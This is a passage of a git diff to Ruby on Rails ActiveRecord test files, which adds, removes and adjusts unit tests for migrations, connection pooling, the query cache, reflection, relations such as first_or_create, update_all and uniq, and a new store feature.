- t.expects(:column).with(:bar, 'integer', {})
- t.integer :foo, :bar
- end
- end
-
- def test_string_creates_string_column
- with_new_table do |t|
- t.expects(:column).with(:foo, 'string', {})
- t.expects(:column).with(:bar, 'string', {})
- t.string :foo, :bar
- end
- end
-
- if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:SQLite3Adapter) || current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
- def test_xml_creates_xml_column
- type = current_adapter?(:PostgreSQLAdapter) ? 'xml' : :text
-
- with_new_table do |t|
- t.expects(:column).with(:data, type, {})
- t.xml :data
- end
- end
- else
- def test_xml_creates_xml_column
- with_new_table do |t|
- assert_raises(NotImplementedError) do
- t.xml :data
- end
- end
- end
- end
-
- protected
- def with_new_table
- Person.connection.create_table :delete_me, :force => true do |t|
- yield t
- end
- ensure
- Person.connection.drop_table :delete_me rescue nil
- end
-
- end # SexyMigrationsTest
-
class MigrationLoggerTest < ActiveRecord::TestCase
def test_migration_should_be_run_without_logger
previous_logger = ActiveRecord::Base.logger
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
index bd51388e05..e704322b5d 100644
--- a/activerecord/test/cases/multiple_db_test.rb
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -85,7 +85,6 @@ class MultipleDbTest < ActiveRecord::TestCase
end
def test_arel_table_engines
- assert_not_equal Entrant.arel_engine, Course.arel_engine
assert_equal Entrant.arel_engine, Bird.arel_engine
end
end
diff --git a/activerecord/test/cases/named_scope_test.rb b/activerecord/test/cases/named_scope_test.rb
index ed0240cada..4a09a87322 100644
--- a/activerecord/test/cases/named_scope_test.rb
+++ b/activerecord/test/cases/named_scope_test.rb
@@ -182,7 +182,7 @@ class NamedScopeTest < ActiveRecord::TestCase
def test_first_and_last_should_allow_integers_for_limit
assert_equal Topic.base.first(2), Topic.base.to_a.first(2)
- assert_equal Topic.base.last(2), Topic.base.to_a.last(2)
+ assert_equal Topic.base.last(2), Topic.base.order("id").to_a.last(2)
end
def test_first_and_last_should_not_use_query_when_results_are_loaded
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
index 67a9ed6cd8..2ae9cb4888 100644
--- a/activerecord/test/cases/nested_attributes_test.rb
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -45,6 +45,14 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
end
end
+ def test_should_not_build_a_new_record_using_reject_all_even_if_destroy_is_given
+ pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ pirate.birds_with_reject_all_blank_attributes = [{:name => '', :color => '', :_destroy => '0'}]
+ pirate.save!
+
+ assert pirate.birds_with_reject_all_blank.empty?
+ end
+
def test_should_not_build_a_new_record_if_reject_all_blank_returns_false
pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
pirate.birds_with_reject_all_blank_attributes = [{:name => '', :color => ''}]
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
index 9cd07fa8a5..adfd8e83a1 100644
--- a/activerecord/test/cases/persistence_test.rb
+++ b/activerecord/test/cases/persistence_test.rb
@@ -202,9 +202,12 @@ class PersistencesTest < ActiveRecord::TestCase
end
def test_create_columns_not_equal_attributes
- topic = Topic.new
- topic.title = 'Another New Topic'
- topic.send :write_attribute, 'does_not_exist', 'test'
+ topic = Topic.allocate.init_with(
+ 'attributes' => {
+ 'title' => 'Another New Topic',
+ 'does_not_exist' => 'test'
+ }
+ )
assert_nothing_raised { topic.save }
end
@@ -249,9 +252,11 @@ class PersistencesTest < ActiveRecord::TestCase
topic.title = "Still another topic"
topic.save
- topicReloaded = Topic.find(topic.id)
- topicReloaded.title = "A New Topic"
- topicReloaded.send :write_attribute, 'does_not_exist', 'test'
+ topicReloaded = Topic.allocate
+ topicReloaded.init_with(
+ 'attributes' => topic.attributes.merge('does_not_exist' => 'test')
+ )
+ topicReloaded.title = 'A New Topic'
assert_nothing_raised { topicReloaded.save }
end
diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb
index 379cf5b44e..bc3dfb1078 100644
--- a/activerecord/test/cases/pooled_connections_test.rb
+++ b/activerecord/test/cases/pooled_connections_test.rb
@@ -3,6 +3,8 @@ require "models/project"
require "timeout"
class PooledConnectionsTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
def setup
@per_test_teardown = []
@connection = ActiveRecord::Base.remove_connection
@@ -64,78 +66,6 @@ class PooledConnectionsTest < ActiveRecord::TestCase
assert_equal 1, ActiveRecord::Base.connection_pool.connections.size
end
- def test_pooled_connection_checkin_two
- checkout_checkin_connections 2, 3
- assert_equal 3, @connection_count
- assert_equal 0, @timed_out
- assert_equal 1, ActiveRecord::Base.connection_pool.connections.size
- end
-
- def test_pooled_connection_checkout_existing_first
- ActiveRecord::Base.establish_connection(@connection.merge({:pool => 1}))
- conn_pool = ActiveRecord::Base.connection_pool
- conn = conn_pool.checkout
- conn_pool.checkin(conn)
- conn = conn_pool.checkout
- assert ActiveRecord::ConnectionAdapters::AbstractAdapter === conn
- conn_pool.checkin(conn)
- end
-
- def test_not_connected_defined_connection_returns_false
- ActiveRecord::Base.establish_connection(@connection)
- assert ! ActiveRecord::Base.connected?
- end
-
- def test_undefined_connection_returns_false
- old_handler = ActiveRecord::Base.connection_handler
- ActiveRecord::Base.connection_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
- assert ! ActiveRecord::Base.connected?
- ensure
- ActiveRecord::Base.connection_handler = old_handler
- end
-
- def test_connection_config
- ActiveRecord::Base.establish_connection(@connection)
- assert_equal @connection, ActiveRecord::Base.connection_config
- end
-
- def test_with_connection_nesting_safety
- ActiveRecord::Base.establish_connection(@connection.merge({:pool => 1, :wait_timeout => 0.1}))
-
- before_count = Project.count
-
- add_record('one')
-
- ActiveRecord::Base.connection.transaction do
- add_record('two')
- # Have another thread try to screw up the transaction
- Thread.new do
- ActiveRecord::Base.connection.rollback_db_transaction
- ActiveRecord::Base.connection_pool.release_connection
- end
- add_record('three')
- end
-
- after_count = Project.count
- assert_equal 3, after_count - before_count
- end
-
- def test_connection_pool_callbacks
- checked_out, checked_in = false, false
- ActiveRecord::ConnectionAdapters::AbstractAdapter.class_eval do
- set_callback(:checkout, :after) { checked_out = true }
- set_callback(:checkin, :before) { checked_in = true }
- end
- @per_test_teardown << proc do
- ActiveRecord::ConnectionAdapters::AbstractAdapter.class_eval do
- reset_callbacks :checkout
- reset_callbacks :checkin
- end
- end
- checkout_checkin_connections 1, 1
- assert checked_out
- assert checked_in
- end
private
diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb
index 7e3da145e5..cc8ffb5f27 100644
--- a/activerecord/test/cases/primary_keys_test.rb
+++ b/activerecord/test/cases/primary_keys_test.rb
@@ -26,7 +26,7 @@ class PrimaryKeysTest < ActiveRecord::TestCase
def test_to_key_with_primary_key_after_destroy
topic = Topic.find(1)
topic.destroy
- assert_equal nil, topic.to_key
+ assert_equal [1], topic.to_key
end
def test_integer_key
@@ -142,7 +142,24 @@ class PrimaryKeysTest < ActiveRecord::TestCase
assert_equal k.connection.quote_column_name("id"), k.quoted_primary_key
k.primary_key = "foo"
assert_equal k.connection.quote_column_name("foo"), k.quoted_primary_key
- k.set_primary_key "bar"
- assert_equal k.connection.quote_column_name("bar"), k.quoted_primary_key
+ end
+end
+
+class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def test_set_primary_key_with_no_connection
+ return skip("disconnect wipes in-memory db") if in_memory_db?
+
+ connection = ActiveRecord::Base.remove_connection
+
+ model = Class.new(ActiveRecord::Base)
+ model.primary_key = 'foo'
+
+ assert_equal 'foo', model.primary_key
+
+ ActiveRecord::Base.establish_connection(connection)
+
+ assert_equal 'foo', model.primary_key
end
end
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index ad17f6f83a..9554386dcf 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -13,6 +13,32 @@ class QueryCacheTest < ActiveRecord::TestCase
ActiveRecord::Base.connection.disable_query_cache!
end
+ def test_exceptional_middleware_clears_and_disables_cache_on_error
+ assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off'
+
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ Task.find 1
+ Task.find 1
+ assert_equal 1, ActiveRecord::Base.connection.query_cache.length
+ raise "lol borked"
+ }
+ assert_raises(RuntimeError) { mw.call({}) }
+
+ assert_equal 0, ActiveRecord::Base.connection.query_cache.length
+ assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off'
+ end
+
+ def test_exceptional_middleware_leaves_enabled_cache_alone
+ ActiveRecord::Base.connection.enable_query_cache!
+
+ mw = ActiveRecord::QueryCache.new lambda { |env|
+ raise "lol borked"
+ }
+ assert_raises(RuntimeError) { mw.call({}) }
+
+ assert ActiveRecord::Base.connection.query_cache_enabled, 'cache on'
+ end
+
def test_middleware_delegates
called = false
mw = ActiveRecord::QueryCache.new lambda { |env|
@@ -121,13 +147,16 @@ class QueryCacheTest < ActiveRecord::TestCase
end
def test_cache_does_not_wrap_string_results_in_arrays
- require 'sqlite3/version' if current_adapter?(:SQLite3Adapter)
+ if current_adapter?(:SQLite3Adapter)
+ require 'sqlite3/version'
+ sqlite3_version = RUBY_PLATFORM =~ /java/ ? Jdbc::SQLite3::VERSION : SQLite3::VERSION
+ end
Task.cache do
# Oracle adapter returns count() as Fixnum or Float
if current_adapter?(:OracleAdapter)
assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
- elsif current_adapter?(:SQLite3Adapter) && SQLite3::VERSION > '1.2.5' || current_adapter?(:Mysql2Adapter) || current_adapter?(:MysqlAdapter)
+ elsif current_adapter?(:SQLite3Adapter) && sqlite3_version > '1.2.5' || current_adapter?(:Mysql2Adapter) || current_adapter?(:MysqlAdapter)
# Future versions of the sqlite3 adapter will return numeric
assert_instance_of Fixnum,
Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
@@ -141,6 +170,18 @@ end
class QueryCacheExpiryTest < ActiveRecord::TestCase
fixtures :tasks, :posts, :categories, :categories_posts
+ def test_cache_gets_cleared_after_migration
+ # warm the cache
+ Post.find(1)
+
+ # change the column definition
+ Post.connection.change_column :posts, :title, :string, :limit => 80
+ assert_nothing_raised { Post.find(1) }
+
+ # restore the old definition
+ Post.connection.change_column :posts, :title, :string
+ end
+
def test_find
Task.connection.expects(:clear_query_cache).times(1)
@@ -208,9 +249,9 @@ class QueryCacheBodyProxyTest < ActiveRecord::TestCase
test "is polite to it's body and responds to it" do
body = Class.new(String) { def to_path; "/path"; end }.new
- proxy = ActiveRecord::QueryCache::BodyProxy.new(nil, body)
+ proxy = ActiveRecord::QueryCache::BodyProxy.new(nil, body, ActiveRecord::Base.connection_id)
assert proxy.respond_to?(:to_path)
assert_equal proxy.to_path, "/path"
end
-end \ No newline at end of file
+end
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
index 41312e8661..b30db542a7 100644
--- a/activerecord/test/cases/reflection_test.rb
+++ b/activerecord/test/cases/reflection_test.rb
@@ -18,6 +18,7 @@ require 'models/subscriber'
require 'models/subscription'
require 'models/tag'
require 'models/sponsor'
+require 'models/edge'
class ReflectionTest < ActiveRecord::TestCase
include ActiveRecord::Reflection
@@ -188,8 +189,8 @@ class ReflectionTest < ActiveRecord::TestCase
def test_reflection_of_all_associations
# FIXME these assertions bust a lot
- assert_equal 36, Firm.reflect_on_all_associations.size
- assert_equal 26, Firm.reflect_on_all_associations(:has_many).size
+ assert_equal 37, Firm.reflect_on_all_associations.size
+ assert_equal 27, Firm.reflect_on_all_associations(:has_many).size
assert_equal 10, Firm.reflect_on_all_associations(:has_one).size
assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
end
@@ -244,7 +245,7 @@ class ReflectionTest < ActiveRecord::TestCase
# Normal association
assert_equal "id", Author.reflect_on_association(:posts).association_primary_key.to_s
assert_equal "name", Author.reflect_on_association(:essay).association_primary_key.to_s
- assert_equal "id", Tagging.reflect_on_association(:taggable).association_primary_key.to_s
+ assert_equal "name", Essay.reflect_on_association(:writer).association_primary_key.to_s
# Through association (uses the :primary_key option from the source reflection)
assert_equal "nick", Author.reflect_on_association(:subscribers).association_primary_key.to_s
@@ -252,11 +253,25 @@ class ReflectionTest < ActiveRecord::TestCase
assert_equal "custom_primary_key", Author.reflect_on_association(:tags_with_primary_key).association_primary_key.to_s # nested
end
+ def test_association_primary_key_raises_when_missing_primary_key
+ reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, {}, Author)
+ assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key }
+
+ through = ActiveRecord::Reflection::ThroughReflection.new(:fuu, :edge, {}, Author)
+ through.stubs(:source_reflection).returns(stub_everything(:options => {}, :class_name => 'Edge'))
+ assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key }
+ end
+
def test_active_record_primary_key
assert_equal "nick", Subscriber.reflect_on_association(:subscriptions).active_record_primary_key.to_s
assert_equal "name", Author.reflect_on_association(:essay).active_record_primary_key.to_s
end
+ def test_active_record_primary_key_raises_when_missing_primary_key
+ reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :author, {}, Edge)
+ assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.active_record_primary_key }
+ end
+
def test_foreign_type
assert_equal "sponsorable_type", Sponsor.reflect_on_association(:sponsorable).foreign_type.to_s
assert_equal "sponsorable_type", Sponsor.reflect_on_association(:thing).foreign_type.to_s
@@ -304,6 +319,16 @@ class ReflectionTest < ActiveRecord::TestCase
assert_equal "category_id", Post.reflect_on_association(:categorizations).foreign_key.to_s
end
+ def test_through_reflection_conditions_do_not_modify_other_reflections
+ orig_conds = Post.reflect_on_association(:first_blue_tags_2).conditions.inspect
+ Author.reflect_on_association(:misc_post_first_blue_tags_2).conditions
+ assert_equal orig_conds, Post.reflect_on_association(:first_blue_tags_2).conditions.inspect
+ end
+
+ def test_symbol_for_class_name
+ assert_equal Client, Firm.reflect_on_association(:unsorted_clients_with_symbol).klass
+ end
+
private
def assert_reflection(klass, association, options)
assert reflection = klass.reflect_on_association(association)
diff --git a/activerecord/test/cases/relation_scoping_test.rb b/activerecord/test/cases/relation_scoping_test.rb
index f2d177d834..1e2093273e 100644
--- a/activerecord/test/cases/relation_scoping_test.rb
+++ b/activerecord/test/cases/relation_scoping_test.rb
@@ -170,7 +170,7 @@ class NestedRelationScopingTest < ActiveRecord::TestCase
Developer.where('salary = 80000').scoping do
Developer.limit(10).scoping do
devs = Developer.scoped
- assert_match '(salary = 80000)', devs.arel.to_sql
+ assert_match '(salary = 80000)', devs.to_sql
assert_equal 10, devs.taken
end
end
@@ -524,4 +524,22 @@ class DefaultScopingTest < ActiveRecord::TestCase
assert_equal 1, DeveloperWithIncludes.where(:audit_logs => { :message => 'foo' }).count
end
+
+ def test_default_scope_is_threadsafe
+ if in_memory_db?
+ skip "in memory db can't share a db between threads"
+ end
+
+ threads = []
+ assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+
+ threads << Thread.new do
+ Thread.current[:long_default_scope] = true
+ assert_equal 1, ThreadsafeDeveloper.all.count
+ end
+ threads << Thread.new do
+ assert_equal 1, ThreadsafeDeveloper.all.count
+ end
+ threads.each(&:join)
+ end
end
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
index b23ead6feb..715a378431 100644
--- a/activerecord/test/cases/relation_test.rb
+++ b/activerecord/test/cases/relation_test.rb
@@ -20,7 +20,7 @@ module ActiveRecord
end
def test_single_values
- assert_equal [:limit, :offset, :lock, :readonly, :from, :reorder, :reverse_order].map(&:to_s).sort,
+ assert_equal [:limit, :offset, :lock, :readonly, :from, :reorder, :reverse_order, :uniq].map(&:to_s).sort,
Relation::SINGLE_VALUE_METHODS.map(&:to_s).sort
end
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index 8a2cf0ef85..bf1eb6386a 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -540,6 +540,29 @@ class RelationTest < ActiveRecord::TestCase
}
end
+ def test_find_all_using_where_with_relation_and_alternate_primary_key
+ cool_first = minivans(:cool_first)
+ # switching the lines below would succeed in current rails
+ # assert_queries(2) {
+ assert_queries(1) {
+ relation = Minivan.where(:minivan_id => Minivan.where(:name => cool_first.name))
+ assert_equal [cool_first], relation.all
+ }
+ end
+
+ def test_find_all_using_where_with_relation_does_not_alter_select_values
+ david = authors(:david)
+
+ subquery = Author.where(:id => david.id)
+
+ assert_queries(1) {
+ relation = Author.where(:id => subquery)
+ assert_equal [david], relation.all
+ }
+
+ assert_equal 0, subquery.select_values.size
+ end
+
def test_find_all_using_where_with_relation_with_joins
david = authors(:david)
assert_queries(1) {
@@ -840,6 +863,128 @@ class RelationTest < ActiveRecord::TestCase
assert_equal 'hen', hen.name
end
+ def test_first_or_create
+ parrot = Bird.where(:color => 'green').first_or_create(:name => 'parrot')
+ assert_kind_of Bird, parrot
+ assert parrot.persisted?
+ assert_equal 'parrot', parrot.name
+ assert_equal 'green', parrot.color
+
+ same_parrot = Bird.where(:color => 'green').first_or_create(:name => 'parakeet')
+ assert_kind_of Bird, same_parrot
+ assert same_parrot.persisted?
+ assert_equal parrot, same_parrot
+ end
+
+ def test_first_or_create_with_no_parameters
+ parrot = Bird.where(:color => 'green').first_or_create
+ assert_kind_of Bird, parrot
+ assert !parrot.persisted?
+ assert_equal 'green', parrot.color
+ end
+
+ def test_first_or_create_with_block
+ parrot = Bird.where(:color => 'green').first_or_create { |bird| bird.name = 'parrot' }
+ assert_kind_of Bird, parrot
+ assert parrot.persisted?
+ assert_equal 'green', parrot.color
+ assert_equal 'parrot', parrot.name
+
+ same_parrot = Bird.where(:color => 'green').first_or_create { |bird| bird.name = 'parakeet' }
+ assert_equal parrot, same_parrot
+ end
+
+ def test_first_or_create_with_array
+ several_green_birds = Bird.where(:color => 'green').first_or_create([{:name => 'parrot'}, {:name => 'parakeet'}])
+ assert_kind_of Array, several_green_birds
+ several_green_birds.each { |bird| assert bird.persisted? }
+
+ same_parrot = Bird.where(:color => 'green').first_or_create([{:name => 'hummingbird'}, {:name => 'macaw'}])
+ assert_kind_of Bird, same_parrot
+ assert_equal several_green_birds.first, same_parrot
+ end
+
+ def test_first_or_create_bang_with_valid_options
+ parrot = Bird.where(:color => 'green').first_or_create!(:name => 'parrot')
+ assert_kind_of Bird, parrot
+ assert parrot.persisted?
+ assert_equal 'parrot', parrot.name
+ assert_equal 'green', parrot.color
+
+ same_parrot = Bird.where(:color => 'green').first_or_create!(:name => 'parakeet')
+ assert_kind_of Bird, same_parrot
+ assert same_parrot.persisted?
+ assert_equal parrot, same_parrot
+ end
+
+ def test_first_or_create_bang_with_invalid_options
+ assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create!(:pirate_id => 1) }
+ end
+
+ def test_first_or_create_bang_with_no_parameters
+ assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create! }
+ end
+
+ def test_first_or_create_bang_with_valid_block
+ parrot = Bird.where(:color => 'green').first_or_create! { |bird| bird.name = 'parrot' }
+ assert_kind_of Bird, parrot
+ assert parrot.persisted?
+ assert_equal 'green', parrot.color
+ assert_equal 'parrot', parrot.name
+
+ same_parrot = Bird.where(:color => 'green').first_or_create! { |bird| bird.name = 'parakeet' }
+ assert_equal parrot, same_parrot
+ end
+
+ def test_first_or_create_bang_with_invalid_block
+ assert_raise(ActiveRecord::RecordInvalid) do
+ Bird.where(:color => 'green').first_or_create! { |bird| bird.pirate_id = 1 }
+ end
+ end
+
+ def test_first_or_create_with_valid_array
+ several_green_birds = Bird.where(:color => 'green').first_or_create!([{:name => 'parrot'}, {:name => 'parakeet'}])
+ assert_kind_of Array, several_green_birds
+ several_green_birds.each { |bird| assert bird.persisted? }
+
+ same_parrot = Bird.where(:color => 'green').first_or_create!([{:name => 'hummingbird'}, {:name => 'macaw'}])
+ assert_kind_of Bird, same_parrot
+ assert_equal several_green_birds.first, same_parrot
+ end
+
+ def test_first_or_create_with_invalid_array
+ assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create!([ {:name => 'parrot'}, {:pirate_id => 1} ]) }
+ end
+
+ def test_first_or_initialize
+ parrot = Bird.where(:color => 'green').first_or_initialize(:name => 'parrot')
+ assert_kind_of Bird, parrot
+ assert !parrot.persisted?
+ assert parrot.valid?
+ assert parrot.new_record?
+ assert_equal 'parrot', parrot.name
+ assert_equal 'green', parrot.color
+ end
+
+ def test_first_or_initialize_with_no_parameters
+ parrot = Bird.where(:color => 'green').first_or_initialize
+ assert_kind_of Bird, parrot
+ assert !parrot.persisted?
+ assert !parrot.valid?
+ assert parrot.new_record?
+ assert_equal 'green', parrot.color
+ end
+
+ def test_first_or_initialize_with_block
+ parrot = Bird.where(:color => 'green').first_or_initialize { |bird| bird.name = 'parrot' }
+ assert_kind_of Bird, parrot
+ assert !parrot.persisted?
+ assert parrot.valid?
+ assert parrot.new_record?
+ assert_equal 'green', parrot.color
+ assert_equal 'parrot', parrot.name
+ end
+
def test_explicit_create_scope
hens = Bird.where(:name => 'hen')
assert_equal 'hen', hens.new.name
@@ -911,11 +1056,6 @@ class RelationTest < ActiveRecord::TestCase
assert_equal 'zyke', FastCar.order_using_old_style.limit(1).first.name
end
- def test_order_with_function_and_last
- authors = Author.scoped
- assert_equal authors(:bob), authors.order( "id asc, MAX( organization_id, owned_essay_id)" ).last
- end
-
def test_order_using_scoping
car1 = CoolCar.order('id DESC').scoping do
CoolCar.find(:first, :order => 'id asc')
@@ -970,4 +1110,58 @@ class RelationTest < ActiveRecord::TestCase
def test_ordering_with_extra_spaces
assert_equal authors(:david), Author.order('id DESC , name DESC').last
end
+
+ def test_update_all_with_joins
+ comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id)
+ count = comments.count
+
+ assert_equal count, comments.update_all(:post_id => posts(:thinking).id)
+ assert_equal posts(:thinking), comments(:greetings).post
+ end
+
+ def test_update_all_with_joins_and_limit
+ comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).limit(1)
+ assert_equal 1, comments.update_all(:post_id => posts(:thinking).id)
+ end
+
+ def test_update_all_with_joins_and_limit_and_order
+ comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).order('comments.id').limit(1)
+ assert_equal 1, comments.update_all(:post_id => posts(:thinking).id)
+ assert_equal posts(:thinking), comments(:greetings).post
+ assert_equal posts(:welcome), comments(:more_greetings).post
+ end
+
+ def test_update_all_with_joins_and_offset
+ all_comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id)
+ count = all_comments.count
+ comments = all_comments.offset(1)
+
+ assert_equal count - 1, comments.update_all(:post_id => posts(:thinking).id)
+ end
+
+ def test_update_all_with_joins_and_offset_and_order
+ all_comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).order('posts.id', 'comments.id')
+ count = all_comments.count
+ comments = all_comments.offset(1)
+
+ assert_equal count - 1, comments.update_all(:post_id => posts(:thinking).id)
+ assert_equal posts(:thinking), comments(:more_greetings).post
+ assert_equal posts(:welcome), comments(:greetings).post
+ end
+
+ def test_uniq
+ tag1 = Tag.create(:name => 'Foo')
+ tag2 = Tag.create(:name => 'Foo')
+
+ query = Tag.select(:name).where(:id => [tag1.id, tag2.id])
+
+ assert_equal ['Foo', 'Foo'], query.map(&:name)
+ assert_sql(/DISTINCT/) do
+ assert_equal ['Foo'], query.uniq.map(&:name)
+ end
+ assert_sql(/DISTINCT/) do
+ assert_equal ['Foo'], query.uniq(true).map(&:name)
+ end
+ assert_equal ['Foo', 'Foo'], query.uniq(true).uniq(false).map(&:name)
+ end
end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
index 4adecf8e83..5c3a78688e 100644
--- a/activerecord/test/cases/schema_dumper_test.rb
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -1,13 +1,22 @@
require "cases/helper"
-require 'stringio'
class SchemaDumperTest < ActiveRecord::TestCase
+ def setup
+ @stream = StringIO.new
+ end
+
def standard_dump
- stream = StringIO.new
+ @stream = StringIO.new
ActiveRecord::SchemaDumper.ignore_tables = []
- ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
- stream.string
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, @stream)
+ @stream.string
+ end
+
+ if "string".encoding_aware?
+ def test_magic_comment
+ assert_match "# encoding: #{@stream.external_encoding.name}", standard_dump
+ end
end
def test_schema_dump
@@ -229,4 +238,9 @@ class SchemaDumperTest < ActiveRecord::TestCase
assert_match %r(:id => false), match[1], "no table id not preserved"
assert_match %r{t.string[[:space:]]+"id",[[:space:]]+:null => false$}, match[2], "non-primary key id column not preserved"
end
+
+ def test_schema_dump_keeps_id_false_when_id_is_false_and_unique_not_null_column_added
+ output = standard_dump
+ assert_match %r{create_table "subscribers", :id => false}, output
+ end
end
diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb
index 382d659289..61b04b3e37 100644
--- a/activerecord/test/cases/serialization_test.rb
+++ b/activerecord/test/cases/serialization_test.rb
@@ -7,12 +7,13 @@ class SerializationTest < ActiveRecord::TestCase
def setup
@contact_attributes = {
- :name => 'aaron stack',
- :age => 25,
- :avatar => 'binarydata',
- :created_at => Time.utc(2006, 8, 1),
- :awesome => false,
- :preferences => { :gem => '<strong>ruby</strong>' }
+ :name => 'aaron stack',
+ :age => 25,
+ :avatar => 'binarydata',
+ :created_at => Time.utc(2006, 8, 1),
+ :awesome => false,
+ :preferences => { :gem => '<strong>ruby</strong>' },
+ :alternative_id => nil
}
end
diff --git a/activerecord/test/cases/session_store/session_test.rb b/activerecord/test/cases/session_store/session_test.rb
index 669c0b7b4d..258cee7aba 100644
--- a/activerecord/test/cases/session_store/session_test.rb
+++ b/activerecord/test/cases/session_store/session_test.rb
@@ -36,6 +36,7 @@ module ActiveRecord
end
def test_find_by_sess_id_compat
+ Session.reset_column_information
klass = Class.new(Session) do
def self.session_id_column
'sessid'
@@ -53,6 +54,7 @@ module ActiveRecord
assert_equal session.sessid, found.session_id
ensure
klass.drop_table!
+ Session.reset_column_information
end
def test_find_by_session_id
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
new file mode 100644
index 0000000000..5a3f9a9711
--- /dev/null
+++ b/activerecord/test/cases/store_test.rb
@@ -0,0 +1,34 @@
+require 'cases/helper'
+require 'models/admin'
+require 'models/admin/user'
+
+class StoreTest < ActiveRecord::TestCase
+ setup do
+ @john = Admin::User.create(:name => 'John Doe', :color => 'black')
+ end
+
+ test "reading store attributes through accessors" do
+ assert_equal 'black', @john.color
+ assert_nil @john.homepage
+ end
+
+ test "writing store attributes through accessors" do
+ @john.color = 'red'
+ @john.homepage = '37signals.com'
+
+ assert_equal 'red', @john.color
+ assert_equal '37signals.com', @john.homepage
+ end
+
+ test "accessing attributes not exposed by accessors" do
+ @john.settings[:icecream] = 'graeters'
+ @john.save
+
+ assert_equal 'graeters', @john.reload.settings[:icecream]
+ end
+
+ test "updating the store will mark it as changed" do
+ @john.color = 'red'
+ assert @john.settings_changed?
+ end
+end
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
index 4445a12e1d..447aa29ffe 100644
--- a/activerecord/test/cases/timestamp_test.rb
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -60,6 +60,16 @@ class TimestampTest < ActiveRecord::TestCase
Developer.record_timestamps = true
end
+ def test_saving_when_instance_record_timestamps_is_false_doesnt_update_its_timestamp
+ @developer.record_timestamps = false
+ assert Developer.record_timestamps
+
+ @developer.name = "John Smith"
+ @developer.save!
+
+ assert_equal @previously_updated_at, @developer.updated_at
+ end
+
def test_touching_an_attribute_updates_timestamp
previously_created_at = @developer.created_at
@developer.touch(:created_at)
diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb
index 85f222bca2..f8b3e01a49 100644
--- a/activerecord/test/cases/transaction_callbacks_test.rb
+++ b/activerecord/test/cases/transaction_callbacks_test.rb
@@ -6,7 +6,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
fixtures :topics
class TopicWithCallbacks < ActiveRecord::Base
- set_table_name :topics
+ self.table_name = :topics
after_commit{|record| record.send(:do_after_commit, nil)}
after_commit(:on => :create){|record| record.send(:do_after_commit, :create)}
@@ -252,7 +252,7 @@ class TransactionObserverCallbacksTest < ActiveRecord::TestCase
fixtures :topics
class TopicWithObserverAttached < ActiveRecord::Base
- set_table_name :topics
+ self.table_name = :topics
def history
@history ||= []
end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index 110a18772f..203dd054f1 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -563,6 +563,7 @@ if current_adapter?(:PostgreSQLAdapter)
topic.approved = !topic.approved?
topic.save!
end
+ Topic.connection.close
end
end
@@ -598,6 +599,7 @@ if current_adapter?(:PostgreSQLAdapter)
dev = Developer.find(1)
assert_equal original_salary, dev.salary
end
+ Developer.connection.close
end
end
@@ -610,6 +612,7 @@ if current_adapter?(:PostgreSQLAdapter)
